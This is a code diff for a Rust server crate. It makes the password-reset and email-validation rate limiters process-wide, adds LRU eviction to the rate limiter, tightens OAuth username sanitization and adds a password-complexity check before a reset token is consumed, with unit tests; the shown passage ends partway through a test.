| 20 | 22 | use uuid::Uuid; |
| 21 | 23 | |
| 22 | 24 | /// Default: 3 verification email requests per address per hour. |
| 23 | 25 | const EMAIL_VALIDATION_RATE_LIMIT_MAX: u32 = 3; |
| 24 | -const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: std::time::Duration = | |
| 25 | - std::time::Duration::from_secs(3600); | |
| 26 | +const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 27 | + | |
| 28 | +/// Process-wide sliding-window limiter for email-validation resends. | |
| 29 | +/// | |
| 30 | +/// Distinct from the password-reset limiter so the two flows keep separate | |
| 31 | +/// budgets. Handlers construct [`EmailValidationService::new`] per request. | |
| 32 | +static EMAIL_VALIDATION_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 33 | + | |
| 34 | +/// Return the process-wide email-validation limiter, initializing it once. | |
| 35 | +fn shared_email_validation_limiter() -> RateLimitService { | |
| 36 | + EMAIL_VALIDATION_LIMITER | |
| 37 | + .get_or_init(|| { | |
| 38 | + let limiter = RateLimitService::new(); | |
| 39 | + if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 40 | + handle.spawn( | |
| 41 | + limiter | |
| 42 | + .clone() | |
| 43 | + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)), | |
| 44 | + ); | |
| 45 | + } else { | |
| 46 | + tracing::warn!( | |
| 47 | + "email-validation limiter: no tokio runtime, cleanup_loop not started" | |
| 48 | + ); | |
| 49 | + } | |
| 50 | + limiter | |
| 51 | + }) | |
| 52 | + .clone() | |
| 53 | +} | |
| 26 | 54 | |
| 27 | 55 | /// Email validation service |
| 28 | 56 | pub struct EmailValidationService { |
@@ -32,11 +60,23 @@ pub struct EmailValidationService {
| 32 | 60 | } |
| 33 | 61 | |
| 34 | 62 | impl EmailValidationService { |
| 35 | - /// Create a new EmailValidationService | |
| 63 | + /// Create a new EmailValidationService using the process-wide rate limiter. | |
| 36 | 64 | pub fn new(email_config: EmailConfig) -> Self { |
| 37 | 65 | Self { |
| 38 | 66 | email_config, |
| 39 | - rate_limiter: RateLimitService::new(), | |
| 67 | + rate_limiter: shared_email_validation_limiter(), | |
| 68 | + } | |
| 69 | + } | |
| 70 | + | |
| 71 | + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]). | |
| 72 | + #[cfg(test)] | |
| 73 | + pub(crate) fn new_with_limiter( | |
| 74 | + email_config: EmailConfig, | |
| 75 | + rate_limiter: RateLimitService, | |
| 76 | + ) -> Self { | |
| 77 | + Self { | |
| 78 | + email_config, | |
| 79 | + rate_limiter, | |
| 40 | 80 | } |
| 41 | 81 | } |
| 42 | 82 |
@@ -354,3 +394,103 @@ impl EmailValidationService {
| 354 | 394 | Ok(()) |
| 355 | 395 | } |
| 356 | 396 | } |
| 397 | + | |
| 398 | +#[cfg(test)] | |
| 399 | +mod tests { | |
| 400 | + use super::*; | |
| 401 | + use crate::config::email::EmailConfig; | |
| 402 | + | |
| 403 | + fn dummy_email_config() -> EmailConfig { | |
| 404 | + EmailConfig { | |
| 405 | + smtp_host: "localhost".into(), | |
| 406 | + smtp_port: 587, | |
| 407 | + smtp_user: "u".into(), | |
| 408 | + smtp_password: "p".into(), | |
| 409 | + smtp_from: "from@example.test".into(), | |
| 410 | + smtp_from_name: None, | |
| 411 | + smtp_use_tls: false, | |
| 412 | + smtp_use_starttls: false, | |
| 413 | + smtp_accept_invalid_certs: true, | |
| 414 | + smtp_ca_cert_path: None, | |
| 415 | + queue_batch_size: 10, | |
| 416 | + queue_retry_attempts: 5, | |
| 417 | + queue_retry_delay_seconds: 300, | |
| 418 | + email_base_url: "http://localhost".into(), | |
| 419 | + request_dsn: false, | |
| 420 | + imap_host: None, | |
| 421 | + imap_port: 993, | |
| 422 | + imap_user: None, | |
| 423 | + imap_password: None, | |
| 424 | + imap_use_tls: true, | |
| 425 | + imap_use_starttls: false, | |
| 426 | + imap_accept_invalid_certs: false, | |
| 427 | + imap_ca_cert_path: None, | |
| 428 | + imap_mailbox: "INBOX".into(), | |
| 429 | + imap_poll_interval_seconds: 300, | |
| 430 | + } | |
| 431 | + } | |
| 432 | + | |
| 433 | + #[test] | |
| 434 | + fn new_with_limiter_uses_injected_instance() { | |
| 435 | + let limiter = RateLimitService::new(); | |
| 436 | + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), limiter.clone()); | |
| 437 | + for _ in 0..3 { | |
| 438 | + limiter | |
| 439 | + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 440 | + .unwrap(); | |
| 441 | + } | |
| 442 | + assert!( | |
| 443 | + svc.rate_limiter | |
| 444 | + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 445 | + .is_err() | |
| 446 | + ); | |
| 447 | + } | |
| 448 | + | |
| 449 | + #[test] | |
| 450 | + fn new_shares_process_wide_limiter() { | |
| 451 | + let a = EmailValidationService::new(dummy_email_config()); | |
| 452 | + let b = EmailValidationService::new(dummy_email_config()); | |
| 453 | + for _ in 0..3 { | |
| 454 | + a.rate_limiter | |
| 455 | + .check_sliding_window( | |
| 456 | + "email_verify:share-oncelock@test", | |
| 457 | + 3, | |
| 458 | + StdDuration::from_secs(3600), | |
| 459 | + ) | |
| 460 | + .unwrap(); | |
| 461 | + } | |
| 462 | + assert!( | |
| 463 | + b.rate_limiter | |
| 464 | + .check_sliding_window( | |
| 465 | + "email_verify:share-oncelock@test", | |
| 466 | + 3, | |
| 467 | + StdDuration::from_secs(3600), | |
| 468 | + ) | |
| 469 | + .is_err() | |
| 470 | + ); | |
| 471 | + } | |
| 472 | + | |
| 473 | + #[test] | |
| 474 | + fn new_with_limiter_is_independent_of_process_lock() { | |
| 475 | + let private = RateLimitService::new(); | |
| 476 | + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), private.clone()); | |
| 477 | + for _ in 0..3 { | |
| 478 | + private | |
| 479 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 480 | + .unwrap(); | |
| 481 | + } | |
| 482 | + assert!( | |
| 483 | + svc.rate_limiter | |
| 484 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 485 | + .is_err() | |
| 486 | + ); | |
| 487 | + | |
| 488 | + let process = EmailValidationService::new(dummy_email_config()); | |
| 489 | + assert!( | |
| 490 | + process | |
| 491 | + .rate_limiter | |
| 492 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 493 | + .is_ok() | |
| 494 | + ); | |
| 495 | + } | |
| 496 | +} |
M
crates/rustwarden-core/src/services/mod.rs
+2
-0
@@ -12,6 +12,8 @@ pub mod auth_service;
| 12 | 12 | pub mod crypto_service; |
| 13 | 13 | /// Ensures a default admin account exists on first boot. |
| 14 | 14 | pub mod default_admin_service; |
| 15 | +/// Two-step email change service (RFC 0041). | |
| 16 | +pub mod email_change_service; | |
| 15 | 17 | /// Background service that drains the email queue. |
| 16 | 18 | pub mod email_queue_service; |
| 17 | 19 | /// Email address sanitization helpers. |
M
crates/rustwarden-core/src/services/oauth/service.rs
+22
-11
@@ -192,26 +192,38 @@ impl OAuthService {
| 192 | 192 | db: &DatabaseConnection, |
| 193 | 193 | base: &str, |
| 194 | 194 | ) -> Result<String, AppError> { |
| 195 | + // Produce a candidate that passes Username::parse (strict): | |
| 196 | + // lowercase, only [a-z0-9], at most 30 chars (leaves room for | |
| 197 | + // "-NNN" / "-user" suffixes while staying inside the 39-char limit). | |
| 195 | 198 | let sanitized: String = base |
| 199 | + .to_ascii_lowercase() | |
| 196 | 200 | .chars() |
| 197 | - .filter(|c| c.is_alphanumeric() || *c == '_') | |
| 198 | - .take(20) | |
| 201 | + .filter(|c| c.is_ascii_lowercase() || c.is_ascii_digit()) | |
| 202 | + .take(30) | |
| 199 | 203 | .collect(); |
| 200 | - let sanitized = if sanitized.is_empty() { | |
| 204 | + let sanitized = if sanitized.len() < 3 { | |
| 201 | 205 | "user".to_string() |
| 202 | 206 | } else { |
| 203 | 207 | sanitized |
| 204 | 208 | }; |
| 205 | 209 | |
| 206 | - if UserService::get_user_by_username(db, &sanitized) | |
| 210 | + // Avoid reserved names by appending a disambiguating suffix. | |
| 211 | + // Uses Username::is_reserved so the reserved-name list lives in one place. | |
| 212 | + let base_candidate = if crate::types::Username::is_reserved(&sanitized) { | |
| 213 | + format!("{}-user", sanitized) | |
| 214 | + } else { | |
| 215 | + sanitized | |
| 216 | + }; | |
| 217 | + | |
| 218 | + if UserService::get_user_by_username(db, &base_candidate) | |
| 207 | 219 | .await? |
| 208 | 220 | .is_none() |
| 209 | 221 | { |
| 210 | - return Ok(sanitized); | |
| 222 | + return Ok(base_candidate); | |
| 211 | 223 | } |
| 212 | 224 | |
| 213 | 225 | for i in 1..100 { |
| 214 | - let candidate = format!("{}_{}", sanitized, i); | |
| 226 | + let candidate = format!("{}-{}", base_candidate, i); | |
| 215 | 227 | if UserService::get_user_by_username(db, &candidate) |
| 216 | 228 | .await? |
| 217 | 229 | .is_none() |
@@ -220,10 +232,9 @@ impl OAuthService {
| 220 | 232 | } |
| 221 | 233 | } |
| 222 | 234 | |
| 223 | - Ok(format!( | |
| 224 | - "{}_{}", | |
| 225 | - sanitized, | |
| 226 | - &Uuid::new_v4().to_string()[..8] | |
| 227 | - )) | |
| 235 | + // Last resort: 8-char hex suffix from a simple UUID (pure ASCII hex, | |
| 236 | + // safe to slice by byte index). | |
| 237 | + let uuid_simple = Uuid::new_v4().simple().to_string(); | |
| 238 | + Ok(format!("{}-{}", base_candidate, &uuid_simple[..8])) | |
| 228 | 239 | } |
| 229 | 240 | } |
M
crates/rustwarden-core/src/services/password_reset_service.rs
+211
-3
@@ -19,11 +19,40 @@ use sea_orm::{
| 19 | 19 | ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set, |
| 20 | 20 | }; |
| 21 | 21 | use sha2::{Digest, Sha256}; |
| 22 | +use std::sync::OnceLock; | |
| 23 | +use std::time::Duration as StdDuration; | |
| 22 | 24 | use uuid::Uuid; |
| 23 | 25 | |
| 24 | 26 | /// Default: 3 reset requests per email per hour. |
| 25 | 27 | const RESET_RATE_LIMIT_MAX: u32 = 3; |
| 26 | -const RESET_RATE_LIMIT_WINDOW: std::time::Duration = std::time::Duration::from_secs(3600); | |
| 28 | +const RESET_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 29 | + | |
| 30 | +/// Process-wide sliding-window limiter for password-reset emails. | |
| 31 | +/// | |
| 32 | +/// Handlers construct [`PasswordResetService::new`] per request; a fresh | |
| 33 | +/// [`RateLimitService`] on each call would make the throttle inert. | |
| 34 | +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 35 | + | |
| 36 | +/// Return the process-wide password-reset limiter, initializing it once. | |
| 37 | +fn shared_password_reset_limiter() -> RateLimitService { | |
| 38 | + PASSWORD_RESET_LIMITER | |
| 39 | + .get_or_init(|| { | |
| 40 | + let limiter = RateLimitService::new(); | |
| 41 | + if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 42 | + handle.spawn( | |
| 43 | + limiter | |
| 44 | + .clone() | |
| 45 | + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)), | |
| 46 | + ); | |
| 47 | + } else { | |
| 48 | + tracing::warn!( | |
| 49 | + "password-reset limiter: no tokio runtime, cleanup_loop not started" | |
| 50 | + ); | |
| 51 | + } | |
| 52 | + limiter | |
| 53 | + }) | |
| 54 | + .clone() | |
| 55 | +} | |
| 27 | 56 | |
| 28 | 57 | /// Password reset service |
| 29 | 58 | pub struct PasswordResetService { |
@@ -33,11 +62,23 @@ pub struct PasswordResetService {
| 33 | 62 | } |
| 34 | 63 | |
| 35 | 64 | impl PasswordResetService { |
| 36 | - /// Create a new PasswordResetService | |
| 65 | + /// Create a new PasswordResetService using the process-wide rate limiter. | |
| 37 | 66 | pub fn new(email_config: EmailConfig) -> Self { |
| 38 | 67 | Self { |
| 39 | 68 | email_config, |
| 40 | - rate_limiter: RateLimitService::new(), | |
| 69 | + rate_limiter: shared_password_reset_limiter(), | |
| 70 | + } | |
| 71 | + } | |
| 72 | + | |
| 73 | + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]). | |
| 74 | + #[cfg(test)] | |
| 75 | + pub(crate) fn new_with_limiter( | |
| 76 | + email_config: EmailConfig, | |
| 77 | + rate_limiter: RateLimitService, | |
| 78 | + ) -> Self { | |
| 79 | + Self { | |
| 80 | + email_config, | |
| 81 | + rate_limiter, | |
| 41 | 82 | } |
| 42 | 83 | } |
| 43 | 84 |
@@ -230,6 +271,10 @@ impl PasswordResetService {
| 230 | 271 | // Validate token |
| 231 | 272 | let user_id = self.validate_token(db, token).await?; |
| 232 | 273 | |
| 274 | + // Reject weak passwords before hashing or consuming the token (M-2). | |
| 275 | + crate::middleware::password_complexity::validate_password_complexity(db, new_password) | |
| 276 | + .await?; | |
| 277 | + | |
| 233 | 278 | // Validate and hash new password |
| 234 | 279 | let password_hash = PasswordService::hash_password(new_password).await?; |
| 235 | 280 |
@@ -303,3 +348,166 @@ impl PasswordResetService {
| 303 | 348 | Ok(()) |
| 304 | 349 | } |
| 305 | 350 | } |
| 351 | + | |
| 352 | +#[cfg(test)] | |
| 353 | +mod tests { | |
| 354 | + use super::*; | |
| 355 | + use crate::config::email::EmailConfig; | |
| 356 | + | |
| 357 | + fn dummy_email_config() -> EmailConfig { | |
| 358 | + EmailConfig { | |
| 359 | + smtp_host: "localhost".into(), | |
| 360 | + smtp_port: 587, | |
| 361 | + smtp_user: "u".into(), | |
| 362 | + smtp_password: "p".into(), | |
| 363 | + smtp_from: "from@example.test".into(), | |
| 364 | + smtp_from_name: None, | |
| 365 | + smtp_use_tls: false, | |
| 366 | + smtp_use_starttls: false, | |
| 367 | + smtp_accept_invalid_certs: true, | |
| 368 | + smtp_ca_cert_path: None, | |
| 369 | + queue_batch_size: 10, | |
| 370 | + queue_retry_attempts: 5, | |
| 371 | + queue_retry_delay_seconds: 300, | |
| 372 | + email_base_url: "http://localhost".into(), | |
| 373 | + request_dsn: false, | |
| 374 | + imap_host: None, | |
| 375 | + imap_port: 993, | |
| 376 | + imap_user: None, | |
| 377 | + imap_password: None, | |
| 378 | + imap_use_tls: true, | |
| 379 | + imap_use_starttls: false, | |
| 380 | + imap_accept_invalid_certs: false, | |
| 381 | + imap_ca_cert_path: None, | |
| 382 | + imap_mailbox: "INBOX".into(), | |
| 383 | + imap_poll_interval_seconds: 300, | |
| 384 | + } | |
| 385 | + } | |
| 386 | + | |
| 387 | + #[test] | |
| 388 | + fn new_with_limiter_uses_injected_instance() { | |
| 389 | + let limiter = RateLimitService::new(); | |
| 390 | + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), limiter.clone()); | |
| 391 | + for _ in 0..3 { | |
| 392 | + limiter | |
| 393 | + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 394 | + .unwrap(); | |
| 395 | + } | |
| 396 | + assert!( | |
| 397 | + svc.rate_limiter | |
| 398 | + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 399 | + .is_err() | |
| 400 | + ); | |
| 401 | + } | |
| 402 | + | |
| 403 | + #[test] | |
| 404 | + fn new_shares_process_wide_limiter() { | |
| 405 | + let a = PasswordResetService::new(dummy_email_config()); | |
| 406 | + let b = PasswordResetService::new(dummy_email_config()); | |
| 407 | + for _ in 0..3 { | |
| 408 | + a.rate_limiter | |
| 409 | + .check_sliding_window( | |
| 410 | + "pwd_reset:share-oncelock@test", | |
| 411 | + 3, | |
| 412 | + StdDuration::from_secs(3600), | |
| 413 | + ) | |
| 414 | + .unwrap(); | |
| 415 | + } | |
| 416 | + assert!( | |
| 417 | + b.rate_limiter | |
| 418 | + .check_sliding_window( | |
| 419 | + "pwd_reset:share-oncelock@test", | |
| 420 | + 3, | |
| 421 | + StdDuration::from_secs(3600), | |
| 422 | + ) | |
| 423 | + .is_err() | |
| 424 | + ); | |
| 425 | + } | |
| 426 | + | |
| 427 | + #[test] | |
| 428 | + fn new_with_limiter_is_independent_of_process_lock() { | |
| 429 | + let private = RateLimitService::new(); | |
| 430 | + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), private.clone()); | |
| 431 | + for _ in 0..3 { | |
| 432 | + private | |
| 433 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 434 | + .unwrap(); | |
| 435 | + } | |
| 436 | + assert!( | |
| 437 | + svc.rate_limiter | |
| 438 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 439 | + .is_err() | |
| 440 | + ); | |
| 441 | + | |
| 442 | + let process = PasswordResetService::new(dummy_email_config()); | |
| 443 | + assert!( | |
| 444 | + process | |
| 445 | + .rate_limiter | |
| 446 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 447 | + .is_ok() | |
| 448 | + ); | |
| 449 | + } | |
| 450 | + | |
| 451 | + fn unused_reset_token(plain: &str, user_id: Uuid) -> password_reset_token::Model { | |
| 452 | + let now = Utc::now(); | |
| 453 | + password_reset_token::Model { | |
| 454 | + id: Uuid::new_v4(), | |
| 455 | + user_id, | |
| 456 | + token_hash: PasswordResetService::hash_token(plain), | |
| 457 | + expires_at: now + Duration::hours(1), | |
| 458 | + used_at: None, | |
| 459 | + created_at: now, | |
| 460 | + } | |
| 461 | + } | |
| 462 | + | |
| 463 | + /// M-2: a rejected password must not mark the reset token used. | |
| 464 | + /// | |
| 465 | + /// MockDatabase cannot re-SELECT `used_at`; absence of UPDATE in the | |
| 466 | + /// transaction log is the equivalent of `used_at IS NULL`. | |
| 467 | + #[tokio::test] | |
| 468 | + async fn reset_password_rejects_weak_password_without_consuming_token() { | |
| 469 | + use crate::models::app_settings; | |
| 470 | + use sea_orm::{DatabaseBackend, MockDatabase}; | |
| 471 | + | |
| 472 | + let plain = "reset-token-plain"; | |
| 473 | + let token_row = unused_reset_token(plain, Uuid::new_v4()); | |
| 474 | + | |
| 475 | + // 1) validate_token SELECT; 2–7) PasswordRules::from_db settings | |
| 476 | + // (missing keys → defaults, which reject `"a"`). | |
| 477 | + let db = MockDatabase::new(DatabaseBackend::Postgres) | |
| 478 | + .append_query_results([vec![token_row]]) | |
| 479 | + .append_query_results([ | |
| 480 | + Vec::<app_settings::Model>::new(), | |
| 481 | + Vec::<app_settings::Model>::new(), | |
| 482 | + Vec::<app_settings::Model>::new(), | |
| 483 | + Vec::<app_settings::Model>::new(), | |
| 484 | + Vec::<app_settings::Model>::new(), | |
| 485 | + Vec::<app_settings::Model>::new(), | |
| 486 | + ]) | |
| 487 | + .into_connection(); | |
| 488 | + | |
| 489 | + let svc = PasswordResetService::new(dummy_email_config()); | |
| 490 | + let err = svc | |
| 491 | + .reset_password(&db, plain, "a") | |
| 492 | + .await | |
| 493 | + .expect_err("weak password must be rejected"); | |
| 494 | + assert!( | |
| 495 | + matches!(err, AppError::Validation(_)), | |
| 496 | + "expected Validation, got {err:?}" | |
| 497 | + ); | |
| 498 | + | |
| 499 | + for txn in db.into_transaction_log() { | |
| 500 | + for stmt in txn.statements() { | |
| 501 | + assert!( | |
| 502 | + !stmt | |
| 503 | + .sql | |
| 504 | + .trim_start() | |
| 505 | + .to_ascii_uppercase() | |
| 506 | + .starts_with("UPDATE"), | |
| 507 | + "rejected password must not consume the token (used_at stays NULL): {}", | |
| 508 | + stmt.sql | |
| 509 | + ); | |
| 510 | + } | |
| 511 | + } | |
| 512 | + } | |
| 513 | +} |
M
crates/rustwarden-core/src/services/personal_token_service.rs
+1
-1
@@ -290,7 +290,7 @@ mod tests {
| 290 | 290 | .unwrap(); |
| 291 | 291 | let user = UserService::create_user( |
| 292 | 292 | db, |
| 293 | - format!("pat_test_{}", &unique[..12]), | |
| 293 | + format!("pat-test-{}", &unique[..12]), | |
| 294 | 294 | format!("pat_test_{}@example.com", &unique[..12]), |
| 295 | 295 | hash, |
| 296 | 296 | false, |
M
crates/rustwarden-core/src/services/rate_limit_service.rs
+201
-22
@@ -20,8 +20,11 @@
| 20 | 20 | //! |
| 21 | 21 | //! - In-process only. Multi-instance deployments need a shared backend |
| 22 | 22 | //! (Redis) — out of scope for v1. |
| 23 | -//! - Memory-bounded via `MAX_ENTRIES` (dropped if the map grows past the | |
| 24 | -//! cap and the incoming key is unknown). | |
| 23 | +//! - Memory-bounded via `MAX_ENTRIES`. When the map is at cap and the | |
| 24 | +//! incoming key is unknown, the least-recently-used key (oldest | |
| 25 | +//! most-recent timestamp) is evicted so a legitimate new caller is still | |
| 26 | +//! admitted. Unknown keys are never rejected solely because the map is | |
| 27 | +//! full. | |
| 25 | 28 | |
| 26 | 29 | use std::{ |
| 27 | 30 | collections::HashMap, |
@@ -31,7 +34,7 @@ use std::{
| 31 | 34 | |
| 32 | 35 | use crate::error::AppError; |
| 33 | 36 | |
| 34 | -/// Maximum distinct keys tracked before refusing new ones (SEC-M2: memory DoS). | |
| 37 | +/// Maximum distinct keys tracked before LRU-evicting the coldest entry (SEC-M2: memory DoS). | |
| 35 | 38 | const MAX_ENTRIES: usize = 100_000; |
| 36 | 39 | |
| 37 | 40 | /// Per-key counter plus the instant at which the current window opened. |
@@ -79,6 +82,16 @@ impl RateLimitService {
| 79 | 82 | |
| 80 | 83 | /// Check and increment the counter for `key` with a custom window size. |
| 81 | 84 | pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError> { |
| 85 | + self.check_window_capped(key, max, window, MAX_ENTRIES) | |
| 86 | + } | |
| 87 | + | |
| 88 | + fn check_window_capped( | |
| 89 | + &self, | |
| 90 | + key: &str, | |
| 91 | + max: u32, | |
| 92 | + window: Duration, | |
| 93 | + cap: usize, | |
| 94 | + ) -> Result<(), AppError> { | |
| 82 | 95 | let now = Instant::now(); |
| 83 | 96 | let mut buckets = self |
| 84 | 97 | .buckets |
@@ -88,15 +101,15 @@ impl RateLimitService {
| 88 | 101 | // Drop expired entries so the map stays bounded on low-traffic keys. |
| 89 | 102 | buckets.retain(|_, w| now.duration_since(w.window_start) < window); |
| 90 | 103 | |
| 91 | - if buckets.len() >= MAX_ENTRIES && !buckets.contains_key(key) { | |
| 92 | - tracing::warn!( | |
| 93 | - entries = buckets.len(), | |
| 94 | - cap = MAX_ENTRIES, | |
| 95 | - "rate limiter map full, rejecting new key" | |
| 96 | - ); | |
| 97 | - return Err(AppError::TooManyRequests { | |
| 98 | - retry_after_secs: window.as_secs(), | |
| 99 | - }); | |
| 104 | + if !buckets.contains_key(key) { | |
| 105 | + if buckets.len() >= cap { | |
| 106 | + tracing::warn!( | |
| 107 | + entries = buckets.len(), | |
| 108 | + cap, | |
| 109 | + "rate limiter map full, evicting oldest window" | |
| 110 | + ); | |
| 111 | + } | |
| 112 | + evict_fixed_if_full(&mut buckets, cap); | |
| 100 | 113 | } |
| 101 | 114 | |
| 102 | 115 | let w = buckets.entry(key.to_string()).or_insert(WindowCounter { |
@@ -142,22 +155,31 @@ impl RateLimitService {
| 142 | 155 | max: u32, |
| 143 | 156 | window: Duration, |
| 144 | 157 | ) -> Result<(), AppError> { |
| 158 | + self.check_sliding_window_capped(key, max, window, MAX_ENTRIES) | |
| 159 | + } | |
| 160 | + | |
| 161 | + fn check_sliding_window_capped( | |
| 162 | + &self, | |
| 163 | + key: &str, | |
| 164 | + max: u32, | |
| 165 | + window: Duration, | |
| 166 | + cap: usize, | |
| 167 | + ) -> Result<(), AppError> { | |
| 145 | 168 | let now = Instant::now(); |
| 146 | 169 | let mut sliding = self |
| 147 | 170 | .sliding |
| 148 | 171 | .lock() |
| 149 | 172 | .map_err(|_| AppError::Internal("rate limiter mutex poisoned".into()))?; |
| 150 | 173 | |
| 151 | - // Size guard before insertion of a new key. | |
| 152 | - if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) { | |
| 153 | - tracing::warn!( | |
| 154 | - entries = sliding.len(), | |
| 155 | - cap = MAX_ENTRIES, | |
| 156 | - "sliding rate limiter map full, rejecting new key" | |
| 157 | - ); | |
| 158 | - return Err(AppError::TooManyRequests { | |
| 159 | - retry_after_secs: window.as_secs(), | |
| 160 | - }); | |
| 174 | + if !sliding.contains_key(key) { | |
| 175 | + if sliding.len() >= cap { | |
| 176 | + tracing::warn!( | |
| 177 | + entries = sliding.len(), | |
| 178 | + cap, | |
| 179 | + "sliding rate limiter map full, evicting least-recently-used key" | |
| 180 | + ); | |
| 181 | + } | |
| 182 | + evict_if_full(&mut sliding, cap, now); | |
| 161 | 183 | } |
| 162 | 184 | |
| 163 | 185 | let attempts = sliding.entry(key.to_string()).or_default(); |
@@ -222,6 +244,39 @@ impl RateLimitService {
| 222 | 244 | } |
| 223 | 245 | } |
| 224 | 246 | |
| 247 | +/// Evict the sliding-window key whose most recent timestamp is the oldest | |
| 248 | +/// (approximate LRU) when `sliding` is at `cap`. | |
| 249 | +/// | |
| 250 | +/// No-op when the map is under capacity. Empty timestamp lists are treated as | |
| 251 | +/// "just seen" (`now`) so they are not preferred for eviction. | |
| 252 | +fn evict_if_full(sliding: &mut HashMap<String, Vec<Instant>>, cap: usize, now: Instant) { | |
| 253 | + if sliding.len() < cap { | |
| 254 | + return; | |
| 255 | + } | |
| 256 | + if let Some(oldest) = sliding | |
| 257 | + .iter() | |
| 258 | + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now)) | |
| 259 | + .map(|(k, _)| k.clone()) | |
| 260 | + { | |
| 261 | + sliding.remove(&oldest); | |
| 262 | + } | |
| 263 | +} | |
| 264 | + | |
| 265 | +/// Evict the fixed-window key with the oldest `window_start` when `buckets` | |
| 266 | +/// is at `cap`. No-op when under capacity. | |
| 267 | +fn evict_fixed_if_full(buckets: &mut HashMap<String, WindowCounter>, cap: usize) { | |
| 268 | + if buckets.len() < cap { | |
| 269 | + return; | |
| 270 | + } | |
| 271 | + if let Some(oldest) = buckets | |
| 272 | + .iter() | |
| 273 | + .min_by_key(|(_, w)| w.window_start) | |
| 274 | + .map(|(k, _)| k.clone()) | |
| 275 | + { | |
| 276 | + buckets.remove(&oldest); | |
| 277 | + } | |
| 278 | +} | |
| 279 | + | |
| 225 | 280 | #[cfg(test)] |
| 226 | 281 | mod tests { |
| 227 | 282 | use super::*; |
@@ -314,4 +369,128 @@ mod tests {
| 314 | 369 | assert!(a.check("k", 4).is_err()); |
| 315 | 370 | assert!(b.check_window("k", 4, Duration::from_secs(60)).is_err()); |
| 316 | 371 | } |
| 372 | + | |
| 373 | + #[test] | |
| 374 | + fn cloned_limiters_share_buckets() { | |
| 375 | + let a = RateLimitService::new(); | |
| 376 | + let b = a.clone(); | |
| 377 | + for _ in 0..3 { | |
| 378 | + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 379 | + .unwrap(); | |
| 380 | + } | |
| 381 | + assert!( | |
| 382 | + b.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 383 | + .is_err() | |
| 384 | + ); | |
| 385 | + } | |
| 386 | + | |
| 387 | + #[test] | |
| 388 | + fn independent_new_does_not_share() { | |
| 389 | + let a = RateLimitService::new(); | |
| 390 | + let b = RateLimitService::new(); | |
| 391 | + for _ in 0..3 { | |
| 392 | + a.check_sliding_window("k", 3, Duration::from_secs(3600)) | |
| 393 | + .unwrap(); | |
| 394 | + } | |
| 395 | + assert!( | |
| 396 | + b.check_sliding_window("k", 3, Duration::from_secs(3600)) | |
| 397 | + .is_ok() | |
| 398 | + ); | |
| 399 | + } | |
| 400 | + | |
| 401 | + #[test] | |
| 402 | + fn evict_if_full_is_noop_under_cap() { | |
| 403 | + let now = Instant::now(); | |
| 404 | + let mut sliding = HashMap::new(); | |
| 405 | + sliding.insert("a".into(), vec![now]); | |
| 406 | + evict_if_full(&mut sliding, 8, now); | |
| 407 | + assert_eq!(sliding.len(), 1); | |
| 408 | + assert!(sliding.contains_key("a")); | |
| 409 | + } | |
| 410 | + | |
| 411 | + #[test] | |
| 412 | + fn evict_if_full_drops_key_with_oldest_last_timestamp() { | |
| 413 | + let now = Instant::now(); | |
| 414 | + let mut sliding = HashMap::new(); | |
| 415 | + for i in 0..8u64 { | |
| 416 | + sliding.insert(format!("k{i}"), vec![now + Duration::from_millis(i)]); | |
| 417 | + } | |
| 418 | + assert_eq!(sliding.len(), 8); | |
| 419 | + | |
| 420 | + evict_if_full(&mut sliding, 8, now + Duration::from_secs(1)); | |
| 421 | + assert_eq!(sliding.len(), 7); | |
| 422 | + assert!(!sliding.contains_key("k0")); | |
| 423 | + | |
| 424 | + sliding.entry("k8".into()).or_default().push(now); | |
| 425 | + assert!(sliding.contains_key("k8")); | |
| 426 | + assert!(sliding.len() <= 8); | |
| 427 | + } | |
| 428 | + | |
| 429 | + #[test] | |
| 430 | + fn sliding_window_evicts_lru_instead_of_rejecting_new_key() { | |
| 431 | + let rl = RateLimitService::new(); | |
| 432 | + let window = Duration::from_secs(3600); | |
| 433 | + for i in 0..8 { | |
| 434 | + rl.check_sliding_window_capped(&format!("k{i}"), 10, window, 8) | |
| 435 | + .unwrap(); | |
| 436 | + } | |
| 437 | + assert_eq!(rl.sliding_len(), 8); | |
| 438 | + rl.check_sliding_window_capped("k8", 10, window, 8) | |
| 439 | + .expect("new key must be admitted via LRU eviction"); | |
| 440 | + assert!(rl.sliding_len() <= 8); | |
| 441 | + } | |
| 442 | + | |
| 443 | + #[test] | |
| 444 | + fn sliding_window_does_not_evict_when_key_already_tracked() { | |
| 445 | + let rl = RateLimitService::new(); | |
| 446 | + let window = Duration::from_secs(3600); | |
